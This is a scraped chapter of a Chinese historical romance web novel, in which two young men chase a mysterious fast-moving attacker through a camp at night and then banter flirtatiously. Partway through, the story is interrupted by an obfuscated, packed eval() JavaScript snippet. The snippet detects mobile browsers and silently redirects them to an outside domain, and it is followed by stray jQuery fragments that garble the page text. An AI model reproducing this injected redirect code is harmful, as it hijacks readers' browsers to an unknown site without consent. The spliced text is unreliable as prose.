默认冷灰
24号文字
方正启体

6. 晋.江独家发表

作者:林不欢本书字数:K更新时间:
    祁煊一直以为自己挺了解闻潮落的。


    但是现在他有点拿不准了。


    “闻潮落从前生病时,也要人陪着睡觉?”祁煊问阿福。


    “呃……是。”阿福只能扯谎。


    实际上,闻潮落自从记事后,都是一个人睡觉,在府中连守夜的人都不需要。


    “那平时他病了都是谁陪他一起睡?”


    “平时是我家世子陪着。”阿福扯完谎觉得没什么说服力,生怕祁煊起疑。


    毕竟,人生病了让兄长陪着并不罕见,罕见的是让外人陪着,于是他又扯了两个人出来,“还有……桑太医和卢公子,旁的我一时也记不清了。”


    阿福若不提后头这俩人,祁煊多半是要再问上几句,毕竟闻潮落这么大个人了,生病还要人陪着睡觉实在有些匪夷所思。


    可阿福提了另外两人的名字,祁煊便顾不上质疑了。


    桑重和卢明宗?


    这俩人的确和闻潮落关系不错。


    祁煊心中有些不大痛快。他记得年前闻潮落生病时,自己还特意登门探望过两回,可对方压根没提过让他留宿,损了他几句就把人撵走了。


    看来,他在闻潮落心里,当真及不上桑重和卢明宗那般亲近。


    祁煊大步离开,在自己的营帐外顿住了脚步。


    随后他打了个呼哨,唤来了那个叫吴千钧的亲随。


    “你去卢明宗营帐里看看人在不在里头。”


    “是。”吴千钧不明所以,但还是利利索索去探了一趟,片刻后回来说:“卢大人正在里头睡觉呢。”


    听了这话,祁煊暗暗松了口气。


    不过他很快意识到,自己这行为有点莫名其妙。


    闻潮落找不找卢明宗睡觉,关他什么事?


    这夜。


    闻潮落虽然睡得早,却睡得并不安稳,一直在做乱七八糟的梦。


    他梦到了那晚地动前的情形,灵山上腾起绿光,如浓雾般扩散开来,几乎包裹了整个营地。在弥漫的绿色浓雾中,一个模糊不清的影子悄然而来,如鬼魅般慢慢朝着他的营帐靠近。


    闻潮落猛地惊醒,看向营帐外的方向,听到那里传来了轻微的窸窣声。


    那窸窣像是脚步声,但更轻一些。


    营中住的全是男子,不会有那么轻的脚步声,除非此人轻功极好。


    又或者,那并不是人的脚步声。


    难道当真有野兽出没?


    闻潮落轻轻坐起身,拿起了榻边桌上摆着的弩。然而下一刻,那窸窣声却转了个方向,渐渐走远了。


    营中临时搭的营帐并没有防护的作用,所谓的门只是块能遮挡的帘子,若当真有豺狼虎豹闯进来,那些没有武艺傍身的工匠就麻烦了。


    念及此,闻潮落快速穿好鞋子,拎着弩出了营帐。


    更深露重。


    闻潮落一出来就冷得打了个哆嗦。


    不过他来不及回去找披风,因为他看到一个黑影一闪而过,钻入了不远处的一个营帐。那黑影的速度快而诡异,令他不由想起了梦里那一幕。


    他右手拎着弩疾步冲过去,几乎是与此同时,营帐内传来了一声惨叫。那声破了音的惨叫在静谧的夜色中响起,听上去凄厉而恐怖。


    闻潮落举着手中的弩奔去,然而就在他距离营帐门口仅有几步之遥时,一个黑影忽得蹿出,径直越过他朝着远处的黑夜奔去。


    那黑影速度太快了。


    哪怕轻功了得的闻潮落,亦自愧不如。


    不过在黑影蹿出的刹那,闻潮落手指扣动悬刀射出一支弩箭。箭尖破风而出,不知是否射中了目标,闻潮落当机立断,提步边追边再次扣动了悬刀,射出第二支弩箭。


    此时,营地中不少人都被吵醒了。


    其中反应快的,来不及穿鞋子就跑出来查看。


    闻潮落心知会有人去看顾伤者或死者,因此并未分心,只循着鼻息间零星的血腥味一路追踪。那血腥味沿着灵山东侧的一条小道而上,但山上风大,味道很快就被吹散了。


    竟被他跑了!


    闻潮落有些懊恼。


    这时,他听到身后传来了马蹄声。


    “闻潮落,你是不是疯了?一个人一声不吭就敢追到这里来?”祁煊骑在马上,语带责备。方才他听到动静跑去闻潮落的营帐中没见着人,还以为闻潮落被掳走了。


    “我应该射中了,明日你派人沿着这条路仔细找一找,看看地上有几支弩箭。”闻潮落道。


    “嗯,先回去吧,一切等天亮再说。”祁煊语气缓和了些,转而道:“你脚好的这么快?昨天上茅房都要人抱着,这会儿却能追着刺客跑这么远。”


    闻潮落转头看向他,夜色中祁煊坐在马上的身形十分挺拔,虽看不清他的模样,但闻潮落感觉他此时一定满脸揶揄。


    “没好呢,你下来。”闻潮落说。


    “我不下来,你上来吧。”祁煊道。


    “我不爱骑马……”


    话音未落,祁煊控马上去,俯身一把将人捞到了马背上。


    “我说了我不爱骑马。”闻潮落不满。


    “这么远的路,夜里又看不清,总不能又让我抱回去吧?”祁煊一夹马腹,控马朝来时的路奔去。


    “慢点,硌得人屁.股疼。”


    “娇气……哎呦,你怎么还动手啊?”


    闻潮落也不知干了什么,惹得祁煊痛呼出声,一直到了营地还没消停。


    “头儿,你没事吧?”吴千钧远远听到他的哀嚎,快步上前询问。


    “没,没事。”祁煊跳下马背。


    吴千钧这才透过夜色看到马上还坐着一个人。


    难怪方才他们头儿那么着急打马去追,原来是怕闻小公子遇到危险啊?


    “营中如何?”祁煊问。


    “受伤的是一个姓张的工匠,太医和大夫都在,这会儿正在治伤。”吴千钧道。


    “走,先去看看伤者。”祁煊伸手去接闻潮落,闻潮落却没理会他,翻身从另一侧跳下马背,径直朝着营地深处走去。


    “闻潮落,你这脚到底还疼不疼?”祁煊快步跟上。


    “祁煊,我跟你说了两遍我不爱骑马。”闻潮落语气不善。


    “就骑了这么几步,怎么还生气了?”


    “我现在不想理你。”


    说话间,两人已到了先前遇袭的那处营帐,阿福正立在门口焦急地与一名牵狼卫说着什么,见到闻潮落安然无恙险些哭出来。


    他醒来找不到自家公子,快吓死了。


    “人在里头吗?”闻潮落问。


    “在,太医和咱们府上的大夫都看过了,说是脖子被什么东西咬了一口,幸好不致命,眼下正在处置伤口呢。”阿福说。


    这营帐本来也不宽敞,如今里头挤满了人,闻潮落便没进去看。


    祁煊见他不进去,也在一旁候着,时不时看一眼闻潮落,像是在观察对方是否依旧在生气。


    “过来点。”闻潮落开口。


    祁煊怔了一下,半晌后才反应过来闻潮落说的是他而不是阿福,于是凑近了两步。


    “再近点。”


    “再近就挨着了。”


    祁煊靠近闻潮落,这才意识到对方身上只穿了一件薄薄的单衣。


    “你不冷?”他问。


    “冷,你把衣服解开揣着我。”


    揣……


    又是一个超出祁煊认知的要求。


    但祁煊是个接受能力很强的人,现在就算闻潮落提出更离谱的要求,他也能面不改色。


    不过,他认为揣着有点怪。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396440|184294||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    于是便把身上仅有的外袍脱下来,披在了闻潮落身上。


    “还是冷。”闻潮落说。


    “要不你进去?”祁煊提议。


    闻潮落盯着他不做声,僵持片刻后,祁煊大步进了营帐,找了块毛毯要给闻潮落裹上。闻潮落却嫌旁人的毛毯有味道,说什么也不肯披,无奈之下祁煊只能回自己的营房取了件大氅出来,将人结结实实裹了起来。


    “大氅是凉的,冰手。”闻潮落将两只手探出来,伸进了祁煊的衣服里暖手。


    双手冰凉的触感,激得祁煊小腹肌肉骤缩,瞬间绷出了漂亮的腹肌线条。


    闻潮落也毫不客气,顺手捏了捏。


    “你怎么……”祁煊想抗议,却发觉闻潮落为了省力,直接将脑袋埋在了他肩上。这明明不是一个拥抱的姿势,却比拥抱显得更暧昧。


    祁煊未来得及出口的后半句话消散在夜色中,只剩下惊天动地的心跳在胸腔中来回激荡。


    不多时,太医自营帐内走了出来,修造使紧随其后。


    此时祁煊还帮闻潮落裹着大氅,而闻潮落则靠在对方怀里,两人那姿势看起来十分别致,令太医一时都忘了开口。


    “如何?”祁煊问。


    “脖颈被咬了一口,幸好偏了半寸,没咬中要害,否则就麻烦了。”太医说。


    “是人咬的?”祁煊又问。


    “看齿痕不像是人,有犬齿,且刺入极深,更像是兽类。”


    一旁的修造使道:“人也有生犬齿的,两颗牙都有尖,我见过。”


    “这话是不假,不过寻常人咬合的力道不会那么大。哪怕力气极大的人,面对同类也很难一口咬那么深,除非是自幼便有撕咬同类的习惯,且已经克服了心里那道坎。”


    换句话说,人与野兽相比,天生缺少同类相残的野性。哪怕是刺客,杀一个人容易,咬死一个人却并非易事。


    “你是不是看到伤人的东西了,是野兽还是人?”祁煊看向闻潮落。


    “是……应该是狼。”闻潮落说。


    他此言一出,众人当即松了口气。


    狼咬人固然可怕,人咬人更可怕。


    而后,祁煊安排了自己的亲随联合营中的一部分工匠共同巡防,防止再有野兽来袭。陈秉忠则带人在营地中燃起了火把,以驱散和威慑兽类。


    他们自开始建立营地至今,对于巡防一事都不怎么上心,毕竟谁也不会料到,这地方竟真有野兽会袭击人。


    好在祁煊来的时候带了几个亲随,有牵狼卫的人在,众人多少安心些。


    “明天一早我便差人回京,再调派一些人手来,除了加强巡防,还得在营地周围弄上院墙。”祁煊将闻潮落送到了营帐门口,却没急着离开。


    “不是狼。”闻潮落忽然开口。


    “你说伤人的东西?不是狼是什么?”


    “是人。”闻潮落语气凝重,回想起那一幕依旧觉得匪夷所思,“我怕他们害怕反倒乱了阵脚,所以方才没说实话。咬人的东西,应该是人。”


    “毕竟是夜里,你看清了?”


    “我没看清,那东西速度很快,但他身上好像穿了衣服。”


    祁煊闻言忍不住打了个激灵。


    闻潮落轻功极好,他说速度快,那便意味着那东西的速度绝非常人可比。


    可那东西又是人……


    “明天再说吧,我困了。”闻潮落打了个哈欠。


    “嗯,去睡吧,天都快亮了。”祁煊转身欲走。


    “你跟我进去。”闻潮落叫住他。


    “怎么,害怕不敢一个人睡?”


    “不是。”闻潮落进了营帐,丢下一句话,“骑马颠得屁股疼,你给我揉揉。”


    祁煊:……


    闻潮落让他揉,揉哪儿?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)